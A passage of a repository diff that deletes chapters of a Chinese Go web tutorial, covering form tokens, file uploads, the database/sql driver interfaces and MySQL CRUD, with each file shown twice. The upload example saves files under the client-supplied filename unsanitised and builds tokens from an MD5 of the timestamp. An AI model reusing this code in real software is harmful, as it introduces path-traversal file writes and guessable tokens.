io.WriteString(h, strconv.FormatInt(crutime, 10))
token := fmt.Sprintf("%x", h.Sum(nil))
t, _ := template.ParseFiles("login.gtpl")
t.Execute(w, token)
} else {
//请求的是登陆数据,那么执行登陆的逻辑判断
r.ParseForm()
token := r.Form.Get("token")
if token != "" {
//验证token的合法性
} else {
//不存在token报错
}
fmt.Println("username length:", len(r.Form["username"][0]))
fmt.Println("username:", template.HTMLEscapeString(r.Form.Get("username"))) //输出到服务器端
fmt.Println("password:", template.HTMLEscapeString(r.Form.Get("password")))
template.HTMLEscape(w, []byte(r.Form.Get("username"))) //输出到客户端
}
}
上面的代码输出到页面的源码如下:
![](images/4.4.token.png?raw=true)
图4.4 增加token之后在客户端输出的源码信息
我们看到token已经有输出值你可以不断的刷新可以看到这个值在不断的变化。这样就保证了每次显示form表单的时候都是唯一的用户递交的表单保持了唯一性。
我们的解决方案可以防止非恶意的攻击,并能使恶意用户暂时不知所措,然后,它却不能排除所有的欺骗性的动机,对此类情况还需要更复杂的工作。
## links
* [目录](<preface.md>)
* 上一节: [预防跨站脚本](<04.3.md>)
* 下一节: [处理文件上传](<04.5.md>)

View File

@@ -1,156 +0,0 @@
# 4.5 处理文件上传
你想处理一个由用户上传的文件比如你正在建设一个类似Instagram的网站你需要存储用户拍摄的照片。这种需求该如何实现呢
要使表单能够上传文件首先第一步就是要添加form的`enctype`属性,`enctype`属性有如下三种情况:
application/x-www-form-urlencoded 表示在发送前编码所有字符(默认)
multipart/form-data 不对字符编码。在使用包含文件上传控件的表单时,必须使用该值。
text/plain 空格转换为 "+" 加号,但不对特殊字符编码。
所以创建新的表单html文件, 命名为upload.gtpl, html代码应该类似于:
<html>
<head>
<title>上传文件</title>
</head>
<body>
<form enctype="multipart/form-data" action="/upload" method="post">
<input type="file" name="uploadfile" />
<input type="hidden" name="token" value="{{.}}"/>
<input type="submit" value="upload" />
</form>
</body>
</html>
在服务器端我们增加一个handlerFunc:
http.HandleFunc("/upload", upload)
// 处理/upload 逻辑
func upload(w http.ResponseWriter, r *http.Request) {
fmt.Println("method:", r.Method) //获取请求的方法
if r.Method == "GET" {
crutime := time.Now().Unix()
h := md5.New()
io.WriteString(h, strconv.FormatInt(crutime, 10))
token := fmt.Sprintf("%x", h.Sum(nil))
t, _ := template.ParseFiles("upload.gtpl")
t.Execute(w, token)
} else {
r.ParseMultipartForm(32 << 20)
file, handler, err := r.FormFile("uploadfile")
if err != nil {
fmt.Println(err)
return
}
defer file.Close()
fmt.Fprintf(w, "%v", handler.Header)
f, err := os.OpenFile("./test/"+handler.Filename, os.O_WRONLY|os.O_CREATE, 0666) // 此处假设当前目录下已存在test目录
if err != nil {
fmt.Println(err)
return
}
defer f.Close()
io.Copy(f, file)
}
}
通过上面的代码可以看到,处理文件上传我们需要调用`r.ParseMultipartForm`,里面的参数表示`maxMemory`,调用`ParseMultipartForm`之后,上传的文件存储在`maxMemory`大小的内存里面,如果文件大小超过了`maxMemory`,那么剩下的部分将存储在系统的临时文件中。我们可以通过`r.FormFile`获取上面的文件句柄,然后实例中使用了`io.Copy`来存储文件。
>获取其他非文件字段信息的时候就不需要调用`r.ParseForm`因为在需要的时候Go自动会去调用。而且`ParseMultipartForm`调用一次之后,后面再次调用不会再有效果。
通过上面的实例我们可以看到我们上传文件主要三步处理:
1. 表单中增加enctype="multipart/form-data"
2. 服务端调用`r.ParseMultipartForm`,把上传的文件存储在内存和临时文件中
3. 使用`r.FormFile`获取文件句柄,然后对文件进行存储等处理。
文件handler是multipart.FileHeader,里面存储了如下结构信息
type FileHeader struct {
Filename string
Header textproto.MIMEHeader
// contains filtered or unexported fields
}
我们通过上面的实例代码打印出来上传文件的信息如下
![](images/4.5.upload2.png?raw=true)
图4.5 打印文件上传后服务器端接受的信息
## 客户端上传文件
我们上面的例子演示了如何通过表单上传文件然后在服务器端处理文件其实Go支持模拟客户端表单功能支持文件上传详细用法请看如下示例
package main
import (
"bytes"
"fmt"
"io"
"io/ioutil"
"mime/multipart"
"net/http"
"os"
)
func postFile(filename string, targetUrl string) error {
bodyBuf := &bytes.Buffer{}
bodyWriter := multipart.NewWriter(bodyBuf)
//关键的一步操作
fileWriter, err := bodyWriter.CreateFormFile("uploadfile", filename)
if err != nil {
fmt.Println("error writing to buffer")
return err
}
//打开文件句柄操作
fh, err := os.Open(filename)
if err != nil {
fmt.Println("error opening file")
return err
}
defer fh.Close()
//iocopy
_, err = io.Copy(fileWriter, fh)
if err != nil {
return err
}
contentType := bodyWriter.FormDataContentType()
bodyWriter.Close()
resp, err := http.Post(targetUrl, contentType, bodyBuf)
if err != nil {
return err
}
defer resp.Body.Close()
resp_body, err := ioutil.ReadAll(resp.Body)
if err != nil {
return err
}
fmt.Println(resp.Status)
fmt.Println(string(resp_body))
return nil
}
// sample usage
func main() {
target_url := "http://localhost:9090/upload"
filename := "./astaxie.pdf"
postFile(filename, target_url)
}
上面的例子详细展示了客户端如何向服务器上传一个文件的例子客户端通过multipart.Write把文件的文本流写入一个缓存中然后调用http的Post方法把缓存传到服务器。
>如果你还有其他普通字段例如username之类的需要同时写入那么可以调用multipart的WriteField方法写很多其他类似的字段。
## links
* [目录](<preface.md>)
* 上一节: [防止多次递交表单](<04.4.md>)
* 下一节: [小结](<04.6.md>)

View File

@@ -1,156 +0,0 @@
# 4.5 处理文件上传
你想处理一个由用户上传的文件比如你正在建设一个类似Instagram的网站你需要存储用户拍摄的照片。这种需求该如何实现呢
要使表单能够上传文件首先第一步就是要添加form的`enctype`属性,`enctype`属性有如下三种情况:
application/x-www-form-urlencoded 表示在发送前编码所有字符(默认)
multipart/form-data 不对字符编码。在使用包含文件上传控件的表单时,必须使用该值。
text/plain 空格转换为 "+" 加号,但不对特殊字符编码。
所以创建新的表单html文件, 命名为upload.gtpl, html代码应该类似于:
<html>
<head>
<title>上传文件</title>
</head>
<body>
<form enctype="multipart/form-data" action="/upload" method="post">
<input type="file" name="uploadfile" />
<input type="hidden" name="token" value="{{.}}"/>
<input type="submit" value="upload" />
</form>
</body>
</html>
在服务器端我们增加一个handlerFunc:
http.HandleFunc("/upload", upload)
// 处理/upload 逻辑
func upload(w http.ResponseWriter, r *http.Request) {
fmt.Println("method:", r.Method) //获取请求的方法
if r.Method == "GET" {
crutime := time.Now().Unix()
h := md5.New()
io.WriteString(h, strconv.FormatInt(crutime, 10))
token := fmt.Sprintf("%x", h.Sum(nil))
t, _ := template.ParseFiles("upload.gtpl")
t.Execute(w, token)
} else {
r.ParseMultipartForm(32 << 20)
file, handler, err := r.FormFile("uploadfile")
if err != nil {
fmt.Println(err)
return
}
defer file.Close()
fmt.Fprintf(w, "%v", handler.Header)
f, err := os.OpenFile("./test/"+handler.Filename, os.O_WRONLY|os.O_CREATE, 0666) // 此处假设当前目录下已存在test目录
if err != nil {
fmt.Println(err)
return
}
defer f.Close()
io.Copy(f, file)
}
}
通过上面的代码可以看到,处理文件上传我们需要调用`r.ParseMultipartForm`,里面的参数表示`maxMemory`,调用`ParseMultipartForm`之后,上传的文件存储在`maxMemory`大小的内存里面,如果文件大小超过了`maxMemory`,那么剩下的部分将存储在系统的临时文件中。我们可以通过`r.FormFile`获取上面的文件句柄,然后实例中使用了`io.Copy`来存储文件。
>获取其他非文件字段信息的时候就不需要调用`r.ParseForm`因为在需要的时候Go自动会去调用。而且`ParseMultipartForm`调用一次之后,后面再次调用不会再有效果。
通过上面的实例我们可以看到我们上传文件主要三步处理:
1. 表单中增加enctype="multipart/form-data"
2. 服务端调用`r.ParseMultipartForm`,把上传的文件存储在内存和临时文件中
3. 使用`r.FormFile`获取文件句柄,然后对文件进行存储等处理。
文件handler是multipart.FileHeader,里面存储了如下结构信息
type FileHeader struct {
Filename string
Header textproto.MIMEHeader
// contains filtered or unexported fields
}
我们通过上面的实例代码打印出来上传文件的信息如下
![](images/4.5.upload2.png?raw=true)
图4.5 打印文件上传后服务器端接受的信息
## 客户端上传文件
我们上面的例子演示了如何通过表单上传文件然后在服务器端处理文件其实Go支持模拟客户端表单功能支持文件上传详细用法请看如下示例
package main
import (
"bytes"
"fmt"
"io"
"io/ioutil"
"mime/multipart"
"net/http"
"os"
)
func postFile(filename string, targetUrl string) error {
bodyBuf := &bytes.Buffer{}
bodyWriter := multipart.NewWriter(bodyBuf)
//关键的一步操作
fileWriter, err := bodyWriter.CreateFormFile("uploadfile", filename)
if err != nil {
fmt.Println("error writing to buffer")
return err
}
//打开文件句柄操作
fh, err := os.Open(filename)
if err != nil {
fmt.Println("error opening file")
return err
}
defer fh.Close()
//iocopy
_, err = io.Copy(fileWriter, fh)
if err != nil {
return err
}
contentType := bodyWriter.FormDataContentType()
bodyWriter.Close()
resp, err := http.Post(targetUrl, contentType, bodyBuf)
if err != nil {
return err
}
defer resp.Body.Close()
resp_body, err := ioutil.ReadAll(resp.Body)
if err != nil {
return err
}
fmt.Println(resp.Status)
fmt.Println(string(resp_body))
return nil
}
// sample usage
func main() {
target_url := "http://localhost:9090/upload"
filename := "./astaxie.pdf"
postFile(filename, target_url)
}
上面的例子详细展示了客户端如何向服务器上传一个文件的例子客户端通过multipart.Write把文件的文本流写入一个缓存中然后调用http的Post方法把缓存传到服务器。
>如果你还有其他普通字段例如username之类的需要同时写入那么可以调用multipart的WriteField方法写很多其他类似的字段。
## links
* [目录](<preface.md>)
* 上一节: [防止多次递交表单](<04.4.md>)
* 下一节: [小结](<04.6.md>)

View File

@@ -1,16 +0,0 @@
# 5 访问数据库
对许多Web应用程序而言数据库都是其核心所在。数据库几乎可以用来存储你想查询和修改的任何信息比如用户信息、产品目录或者新闻列表等。
Go没有内置的驱动支持任何的数据库但是Go定义了database/sql接口用户可以基于驱动接口开发相应数据库的驱动5.1小节里面介绍Go设计的一些驱动介绍Go是如何设计数据库驱动接口的。5.2至5.4小节介绍目前使用的比较多的一些关系型数据驱动以及如何使用5.5小节介绍我自己开发一个ORM库基于database/sql标准接口开发的可以兼容几乎所有支持database/sql的数据库驱动可以方便的使用Go style来进行数据库操作。
目前NOSQL已经成为Web开发的一个潮流很多应用采用了NOSQL作为数据库而不是以前的缓存5.6小节将介绍MongoDB和Redis两种NOSQL数据库。
>[Go database/sql tutorial](http://go-database-sql.org/) 里提供了惯用的范例及详细的说明。
## 目录
![](images/navi5.png?raw=true)
## links
* [目录](<preface.md>)
* 上一章: [第四章总结](<04.6.md>)
* 下一节: [database/sql接口](<05.1.md>)

View File

@@ -1,16 +0,0 @@
# 5 访问数据库
对许多Web应用程序而言数据库都是其核心所在。数据库几乎可以用来存储你想查询和修改的任何信息比如用户信息、产品目录或者新闻列表等。
Go没有内置的驱动支持任何的数据库但是Go定义了database/sql接口用户可以基于驱动接口开发相应数据库的驱动5.1小节里面介绍Go设计的一些驱动介绍Go是如何设计数据库驱动接口的。5.2至5.4小节介绍目前使用的比较多的一些关系型数据驱动以及如何使用5.5小节介绍我自己开发一个ORM库基于database/sql标准接口开发的可以兼容几乎所有支持database/sql的数据库驱动可以方便的使用Go style来进行数据库操作。
目前NOSQL已经成为Web开发的一个潮流很多应用采用了NOSQL作为数据库而不是以前的缓存5.6小节将介绍MongoDB和Redis两种NOSQL数据库。
>[Go database/sql tutorial](http://go-database-sql.org/) 里提供了惯用的范例及详细的说明。
## 目录
![](images/navi5.png?raw=true)
## links
* [目录](<preface.md>)
* 上一章: [第四章总结](<04.6.md>)
* 下一节: [database/sql接口](<05.1.md>)

View File

@@ -1,204 +0,0 @@
# 5.1 database/sql接口
Go与PHP不同的地方是Go官方没有提供数据库驱动而是为开发数据库驱动定义了一些标准接口开发者可以根据定义的接口来开发相应的数据库驱动这样做有一个好处只要是按照标准接口开发的代码 以后需要迁移数据库时不需要任何修改。那么Go都定义了哪些标准接口呢让我们来详细的分析一下
## sql.Register
这个存在于database/sql的函数是用来注册数据库驱动的当第三方开发者开发数据库驱动时都会实现init函数在init里面会调用这个`Register(name string, driver driver.Driver)`完成本驱动的注册。
我们来看一下mymysql、sqlite3的驱动里面都是怎么调用的
//https://github.com/mattn/go-sqlite3驱动
func init() {
sql.Register("sqlite3", &SQLiteDriver{})
}
//https://github.com/mikespook/mymysql驱动
// Driver automatically registered in database/sql
var d = Driver{proto: "tcp", raddr: "127.0.0.1:3306"}
func init() {
Register("SET NAMES utf8")
sql.Register("mymysql", &d)
}
我们看到第三方数据库驱动都是通过调用这个函数来注册自己的数据库驱动名称以及相应的driver实现。在database/sql内部通过一个map来存储用户定义的相应驱动。
var drivers = make(map[string]driver.Driver)
drivers[name] = driver
因此通过database/sql的注册函数可以同时注册多个数据库驱动只要不重复。
>在我们使用database/sql接口和第三方库的时候经常看到如下:
> import (
> "database/sql"
> _ "github.com/mattn/go-sqlite3"
> )
>新手都会被这个`_`所迷惑其实这个就是Go设计的巧妙之处我们在变量赋值的时候经常看到这个符号它是用来忽略变量赋值的占位符那么包引入用到这个符号也是相似的作用这儿使用`_`的意思是引入后面的包名而不直接使用这个包中定义的函数,变量等资源。
>我们在2.3节流程和函数一节中介绍过init函数的初始化过程包在引入的时候会自动调用包的init函数以完成对包的初始化。因此我们引入上面的数据库驱动包之后会自动去调用init函数然后在init函数里面注册这个数据库驱动这样我们就可以在接下来的代码中直接使用这个数据库驱动了。
## driver.Driver
Driver是一个数据库驱动的接口他定义了一个method Open(name string)这个方法返回一个数据库的Conn接口。
type Driver interface {
Open(name string) (Conn, error)
}
返回的Conn只能用来进行一次goroutine的操作也就是说不能把这个Conn应用于Go的多个goroutine里面。如下代码会出现错误
...
go goroutineA (Conn) //执行查询操作
go goroutineB (Conn) //执行插入操作
...
上面这样的代码可能会使Go不知道某个操作究竟是由哪个goroutine发起的,从而导致数据混乱比如可能会把goroutineA里面执行的查询操作的结果返回给goroutineB从而使B错误地把此结果当成自己执行的插入数据。
第三方驱动都会定义这个函数它会解析name参数来获取相关数据库的连接信息解析完成后它将使用此信息来初始化一个Conn并返回它。
## driver.Conn
Conn是一个数据库连接的接口定义他定义了一系列方法这个Conn只能应用在一个goroutine里面不能使用在多个goroutine里面详情请参考上面的说明。
type Conn interface {
Prepare(query string) (Stmt, error)
Close() error
Begin() (Tx, error)
}
Prepare函数返回与当前连接相关的执行Sql语句的准备状态可以进行查询、删除等操作。
Close函数关闭当前的连接执行释放连接拥有的资源等清理工作。因为驱动实现了database/sql里面建议的conn pool所以你不用再去实现缓存conn之类的这样会容易引起问题。
Begin函数返回一个代表事务处理的Tx通过它你可以进行查询,更新等操作,或者对事务进行回滚、递交。
## driver.Stmt
Stmt是一种准备好的状态和Conn相关联而且只能应用于一个goroutine中不能应用于多个goroutine。
type Stmt interface {
Close() error
NumInput() int
Exec(args []Value) (Result, error)
Query(args []Value) (Rows, error)
}
Close函数关闭当前的链接状态但是如果当前正在执行queryquery还是有效返回rows数据。
NumInput函数返回当前预留参数的个数当返回>=0时数据库驱动就会智能检查调用者的参数。当数据库驱动包不知道预留参数的时候返回-1。
Exec函数执行Prepare准备好的sql传入参数执行update/insert等操作返回Result数据
Query函数执行Prepare准备好的sql传入需要的参数执行select操作返回Rows结果集
## driver.Tx
事务处理一般就两个过程,递交或者回滚。数据库驱动里面也只需要实现这两个函数就可以
type Tx interface {
Commit() error
Rollback() error
}
这两个函数一个用来递交一个事务,一个用来回滚事务。
## driver.Execer
这是一个Conn可选择实现的接口
type Execer interface {
Exec(query string, args []Value) (Result, error)
}
如果这个接口没有定义那么在调用DB.Exec,就会首先调用Prepare返回Stmt然后执行Stmt的Exec然后关闭Stmt。
## driver.Result
这个是执行Update/Insert等操作返回的结果接口定义
type Result interface {
LastInsertId() (int64, error)
RowsAffected() (int64, error)
}
LastInsertId函数返回由数据库执行插入操作得到的自增ID号。
RowsAffected函数返回query操作影响的数据条目数。
## driver.Rows
Rows是执行查询返回的结果集接口定义
type Rows interface {
Columns() []string
Close() error
Next(dest []Value) error
}
Columns函数返回查询数据库表的字段信息这个返回的slice和sql查询的字段一一对应而不是返回整个表的所有字段。
Close函数用来关闭Rows迭代器。
Next函数用来返回下一条数据把数据赋值给dest。dest里面的元素必须是driver.Value的值除了string返回的数据里面所有的string都必须要转换成[]byte。如果最后没数据了Next函数最后返回io.EOF。
## driver.RowsAffected
RowsAffected其实就是一个int64的别名但是他实现了Result接口用来底层实现Result的表示方式
type RowsAffected int64
func (RowsAffected) LastInsertId() (int64, error)
func (v RowsAffected) RowsAffected() (int64, error)
## driver.Value
Value其实就是一个空接口他可以容纳任何的数据
type Value interface{}
drive的Value是驱动必须能够操作的ValueValue要么是nil要么是下面的任意一种
int64
float64
bool
[]byte
string [*]除了Rows.Next返回的不能是string.
time.Time
## driver.ValueConverter
ValueConverter接口定义了如何把一个普通的值转化成driver.Value的接口
type ValueConverter interface {
ConvertValue(v interface{}) (Value, error)
}
在开发的数据库驱动包里面实现这个接口的函数在很多地方会使用到这个ValueConverter有很多好处
- 转化driver.value到数据库表相应的字段例如int64的数据如何转化成数据库表uint16字段
- 把数据库查询结果转化成driver.Value值
- 在scan函数里面如何把driver.Value值转化成用户定义的值
## driver.Valuer
Valuer接口定义了返回一个driver.Value的方式
type Valuer interface {
Value() (Value, error)
}
很多类型都实现了这个Value方法用来自身与driver.Value的转化。
通过上面的讲解,你应该对于驱动的开发有了一个基本的了解,一个驱动只要实现了这些接口就能完成增删查改等基本操作了,剩下的就是与相应的数据库进行数据交互等细节问题了,在此不再赘述。
## database/sql
database/sql在database/sql/driver提供的接口基础上定义了一些更高阶的方法用以简化数据库操作,同时内部还建议性地实现一个conn pool。
type DB struct {
driver driver.Driver
dsn string
mu sync.Mutex // protects freeConn and closed
freeConn []driver.Conn
closed bool
}
我们可以看到Open函数返回的是DB对象里面有一个freeConn它就是那个简易的连接池。它的实现相当简单或者说简陋就是当执行Db.prepare的时候会`defer db.putConn(ci, err)`,也就是把这个连接放入连接池每次调用conn的时候会先判断freeConn的长度是否大于0大于0说明有可以复用的conn直接拿出来用就是了如果不大于0则创建一个conn,然后再返回之。
## links
* [目录](<preface.md>)
* 上一节: [访问数据库](<05.0.md>)
* 下一节: [使用MySQL数据库](<05.2.md>)

View File

@@ -1,204 +0,0 @@
# 5.1 database/sql接口
Go与PHP不同的地方是Go官方没有提供数据库驱动而是为开发数据库驱动定义了一些标准接口开发者可以根据定义的接口来开发相应的数据库驱动这样做有一个好处只要是按照标准接口开发的代码 以后需要迁移数据库时不需要任何修改。那么Go都定义了哪些标准接口呢让我们来详细的分析一下
## sql.Register
这个存在于database/sql的函数是用来注册数据库驱动的当第三方开发者开发数据库驱动时都会实现init函数在init里面会调用这个`Register(name string, driver driver.Driver)`完成本驱动的注册。
我们来看一下mymysql、sqlite3的驱动里面都是怎么调用的
//https://github.com/mattn/go-sqlite3驱动
func init() {
sql.Register("sqlite3", &SQLiteDriver{})
}
//https://github.com/mikespook/mymysql驱动
// Driver automatically registered in database/sql
var d = Driver{proto: "tcp", raddr: "127.0.0.1:3306"}
func init() {
Register("SET NAMES utf8")
sql.Register("mymysql", &d)
}
我们看到第三方数据库驱动都是通过调用这个函数来注册自己的数据库驱动名称以及相应的driver实现。在database/sql内部通过一个map来存储用户定义的相应驱动。
var drivers = make(map[string]driver.Driver)
drivers[name] = driver
因此通过database/sql的注册函数可以同时注册多个数据库驱动只要不重复。
>在我们使用database/sql接口和第三方库的时候经常看到如下:
> import (
> "database/sql"
> _ "github.com/mattn/go-sqlite3"
> )
>新手都会被这个`_`所迷惑其实这个就是Go设计的巧妙之处我们在变量赋值的时候经常看到这个符号它是用来忽略变量赋值的占位符那么包引入用到这个符号也是相似的作用这儿使用`_`的意思是引入后面的包名而不直接使用这个包中定义的函数,变量等资源。
>我们在2.3节流程和函数一节中介绍过init函数的初始化过程包在引入的时候会自动调用包的init函数以完成对包的初始化。因此我们引入上面的数据库驱动包之后会自动去调用init函数然后在init函数里面注册这个数据库驱动这样我们就可以在接下来的代码中直接使用这个数据库驱动了。
## driver.Driver
Driver是一个数据库驱动的接口他定义了一个method Open(name string)这个方法返回一个数据库的Conn接口。
type Driver interface {
Open(name string) (Conn, error)
}
返回的Conn只能用来进行一次goroutine的操作也就是说不能把这个Conn应用于Go的多个goroutine里面。如下代码会出现错误
...
go goroutineA (Conn) //执行查询操作
go goroutineB (Conn) //执行插入操作
...
上面这样的代码可能会使Go不知道某个操作究竟是由哪个goroutine发起的,从而导致数据混乱比如可能会把goroutineA里面执行的查询操作的结果返回给goroutineB从而使B错误地把此结果当成自己执行的插入数据。
第三方驱动都会定义这个函数它会解析name参数来获取相关数据库的连接信息解析完成后它将使用此信息来初始化一个Conn并返回它。
## driver.Conn
Conn是一个数据库连接的接口定义他定义了一系列方法这个Conn只能应用在一个goroutine里面不能使用在多个goroutine里面详情请参考上面的说明。
type Conn interface {
Prepare(query string) (Stmt, error)
Close() error
Begin() (Tx, error)
}
Prepare函数返回与当前连接相关的执行Sql语句的准备状态可以进行查询、删除等操作。
Close函数关闭当前的连接执行释放连接拥有的资源等清理工作。因为驱动实现了database/sql里面建议的conn pool所以你不用再去实现缓存conn之类的这样会容易引起问题。
Begin函数返回一个代表事务处理的Tx通过它你可以进行查询,更新等操作,或者对事务进行回滚、递交。
## driver.Stmt
Stmt是一种准备好的状态和Conn相关联而且只能应用于一个goroutine中不能应用于多个goroutine。
type Stmt interface {
Close() error
NumInput() int
Exec(args []Value) (Result, error)
Query(args []Value) (Rows, error)
}
Close函数关闭当前的链接状态但是如果当前正在执行queryquery还是有效返回rows数据。
NumInput函数返回当前预留参数的个数当返回>=0时数据库驱动就会智能检查调用者的参数。当数据库驱动包不知道预留参数的时候返回-1。
Exec函数执行Prepare准备好的sql传入参数执行update/insert等操作返回Result数据
Query函数执行Prepare准备好的sql传入需要的参数执行select操作返回Rows结果集
## driver.Tx
事务处理一般就两个过程,递交或者回滚。数据库驱动里面也只需要实现这两个函数就可以
type Tx interface {
Commit() error
Rollback() error
}
这两个函数一个用来递交一个事务,一个用来回滚事务。
## driver.Execer
这是一个Conn可选择实现的接口
type Execer interface {
Exec(query string, args []Value) (Result, error)
}
如果这个接口没有定义那么在调用DB.Exec,就会首先调用Prepare返回Stmt然后执行Stmt的Exec然后关闭Stmt。
## driver.Result
这个是执行Update/Insert等操作返回的结果接口定义
type Result interface {
LastInsertId() (int64, error)
RowsAffected() (int64, error)
}
LastInsertId函数返回由数据库执行插入操作得到的自增ID号。
RowsAffected函数返回query操作影响的数据条目数。
## driver.Rows
Rows是执行查询返回的结果集接口定义
type Rows interface {
Columns() []string
Close() error
Next(dest []Value) error
}
Columns函数返回查询数据库表的字段信息这个返回的slice和sql查询的字段一一对应而不是返回整个表的所有字段。
Close函数用来关闭Rows迭代器。
Next函数用来返回下一条数据把数据赋值给dest。dest里面的元素必须是driver.Value的值除了string返回的数据里面所有的string都必须要转换成[]byte。如果最后没数据了Next函数最后返回io.EOF。
## driver.RowsAffected
RowsAffected其实就是一个int64的别名但是他实现了Result接口用来底层实现Result的表示方式
type RowsAffected int64
func (RowsAffected) LastInsertId() (int64, error)
func (v RowsAffected) RowsAffected() (int64, error)
## driver.Value
Value其实就是一个空接口他可以容纳任何的数据
type Value interface{}
drive的Value是驱动必须能够操作的ValueValue要么是nil要么是下面的任意一种
int64
float64
bool
[]byte
string [*]除了Rows.Next返回的不能是string.
time.Time
## driver.ValueConverter
ValueConverter接口定义了如何把一个普通的值转化成driver.Value的接口
type ValueConverter interface {
ConvertValue(v interface{}) (Value, error)
}
在开发的数据库驱动包里面实现这个接口的函数在很多地方会使用到这个ValueConverter有很多好处
- 转化driver.value到数据库表相应的字段例如int64的数据如何转化成数据库表uint16字段
- 把数据库查询结果转化成driver.Value值
- 在scan函数里面如何把driver.Value值转化成用户定义的值
## driver.Valuer
Valuer接口定义了返回一个driver.Value的方式
type Valuer interface {
Value() (Value, error)
}
很多类型都实现了这个Value方法用来自身与driver.Value的转化。
通过上面的讲解,你应该对于驱动的开发有了一个基本的了解,一个驱动只要实现了这些接口就能完成增删查改等基本操作了,剩下的就是与相应的数据库进行数据交互等细节问题了,在此不再赘述。
## database/sql
database/sql在database/sql/driver提供的接口基础上定义了一些更高阶的方法用以简化数据库操作,同时内部还建议性地实现一个conn pool。
type DB struct {
driver driver.Driver
dsn string
mu sync.Mutex // protects freeConn and closed
freeConn []driver.Conn
closed bool
}
我们可以看到Open函数返回的是DB对象里面有一个freeConn它就是那个简易的连接池。它的实现相当简单或者说简陋就是当执行Db.prepare的时候会`defer db.putConn(ci, err)`,也就是把这个连接放入连接池每次调用conn的时候会先判断freeConn的长度是否大于0大于0说明有可以复用的conn直接拿出来用就是了如果不大于0则创建一个conn,然后再返回之。
## links
* [目录](<preface.md>)
* 上一节: [访问数据库](<05.0.md>)
* 下一节: [使用MySQL数据库](<05.2.md>)

View File

@@ -1,137 +0,0 @@
# 5.2 使用MySQL数据库
目前Internet上流行的网站构架方式是LAMP其中的M即MySQL, 作为数据库MySQL以免费、开源、使用方便为优势成为了很多Web开发的后端数据库存储引擎。
## MySQL驱动
Go中支持MySQL的驱动目前比较多有如下几种有些是支持database/sql标准而有些是采用了自己的实现接口,常用的有如下几种:
- https://github.com/go-sql-driver/mysql 支持database/sql全部采用go写。
- https://github.com/ziutek/mymysql 支持database/sql也支持自定义的接口全部采用go写。
- https://github.com/Philio/GoMySQL 不支持database/sql自定义接口全部采用go写。
接下来的例子我主要以第一个驱动为例(我目前项目中也是采用它来驱动),也推荐大家采用它,主要理由:
- 这个驱动比较新,维护的比较好
- 完全支持database/sql接口
- 支持keepalive保持长连接,虽然[星星](http://www.mikespook.com)fork的mymysql也支持keepalive但不是线程安全的这个从底层就支持了keepalive。
## 示例代码
接下来的几个小节里面我们都将采用同一个数据库表结构数据库test用户表userinfo关联用户信息表userdetail。
CREATE TABLE `userinfo` (
`uid` INT(10) NOT NULL AUTO_INCREMENT,
`username` VARCHAR(64) NULL DEFAULT NULL,
`departname` VARCHAR(64) NULL DEFAULT NULL,
`created` DATE NULL DEFAULT NULL,
PRIMARY KEY (`uid`)
)
CREATE TABLE `userdetail` (
`uid` INT(10) NOT NULL DEFAULT '0',
`intro` TEXT NULL,
`profile` TEXT NULL,
PRIMARY KEY (`uid`)
)
如下示例将示范如何使用database/sql接口对数据库表进行增删改查操作
package main
import (
_ "github.com/go-sql-driver/mysql"
"database/sql"
"fmt"
//"time"
)
func main() {
db, err := sql.Open("mysql", "astaxie:astaxie@/test?charset=utf8")
checkErr(err)
//插入数据
stmt, err := db.Prepare("INSERT userinfo SET username=?,departname=?,created=?")
checkErr(err)
res, err := stmt.Exec("astaxie", "研发部门", "2012-12-09")
checkErr(err)
id, err := res.LastInsertId()
checkErr(err)
fmt.Println(id)
//更新数据
stmt, err = db.Prepare("update userinfo set username=? where uid=?")
checkErr(err)
res, err = stmt.Exec("astaxieupdate", id)
checkErr(err)
affect, err := res.RowsAffected()
checkErr(err)
fmt.Println(affect)
//查询数据
rows, err := db.Query("SELECT * FROM userinfo")
checkErr(err)
for rows.Next() {
var uid int
var username string
var department string
var created string
err = rows.Scan(&uid, &username, &department, &created)
checkErr(err)
fmt.Println(uid)
fmt.Println(username)
fmt.Println(department)
fmt.Println(created)
}
//删除数据
stmt, err = db.Prepare("delete from userinfo where uid=?")
checkErr(err)
res, err = stmt.Exec(id)
checkErr(err)
affect, err = res.RowsAffected()
checkErr(err)
fmt.Println(affect)
db.Close()
}
func checkErr(err error) {
if err != nil {
panic(err)
}
}
通过上面的代码我们可以看出Go操作Mysql数据库是很方便的。
关键的几个函数我解释一下:
sql.Open()函数用来打开一个注册过的数据库驱动go-sql-driver中注册了mysql这个数据库驱动第二个参数是DSN(Data Source Name)它是go-sql-driver定义的一些数据库链接和配置信息。它支持如下格式
user@unix(/path/to/socket)/dbname?charset=utf8
user:password@tcp(localhost:5555)/dbname?charset=utf8
user:password@/dbname
user:password@tcp([de:ad:be:ef::ca:fe]:80)/dbname
db.Prepare()函数用来返回准备要执行的sql操作然后返回准备完毕的执行状态。
db.Query()函数用来直接执行Sql返回Rows结果。
stmt.Exec()函数用来执行stmt准备好的SQL语句
我们可以看到我们传入的参数都是=?对应的数据这样做的方式可以一定程度上防止SQL注入。
## links
* [目录](<preface.md>)
* 上一节: [database/sql接口](<05.1.md>)
* 下一节: [使用SQLite数据库](<05.3.md>)

View File

@@ -1,137 +0,0 @@
# 5.2 使用MySQL数据库
目前Internet上流行的网站构架方式是LAMP其中的M即MySQL, 作为数据库MySQL以免费、开源、使用方便为优势成为了很多Web开发的后端数据库存储引擎。
## MySQL驱动
Go中支持MySQL的驱动目前比较多有如下几种有些是支持database/sql标准而有些是采用了自己的实现接口,常用的有如下几种:
- https://github.com/go-sql-driver/mysql 支持database/sql全部采用go写。
- https://github.com/ziutek/mymysql 支持database/sql也支持自定义的接口全部采用go写。
- https://github.com/Philio/GoMySQL 不支持database/sql自定义接口全部采用go写。
接下来的例子我主要以第一个驱动为例(我目前项目中也是采用它来驱动),也推荐大家采用它,主要理由:
- 这个驱动比较新,维护的比较好
- 完全支持database/sql接口
- 支持keepalive保持长连接,虽然[星星](http://www.mikespook.com)fork的mymysql也支持keepalive但不是线程安全的这个从底层就支持了keepalive。
## 示例代码
接下来的几个小节里面我们都将采用同一个数据库表结构数据库test用户表userinfo关联用户信息表userdetail。
CREATE TABLE `userinfo` (
`uid` INT(10) NOT NULL AUTO_INCREMENT,
`username` VARCHAR(64) NULL DEFAULT NULL,
`departname` VARCHAR(64) NULL DEFAULT NULL,
`created` DATE NULL DEFAULT NULL,
PRIMARY KEY (`uid`)
)
CREATE TABLE `userdetail` (
`uid` INT(10) NOT NULL DEFAULT '0',
`intro` TEXT NULL,
`profile` TEXT NULL,
PRIMARY KEY (`uid`)
)
如下示例将示范如何使用database/sql接口对数据库表进行增删改查操作
package main
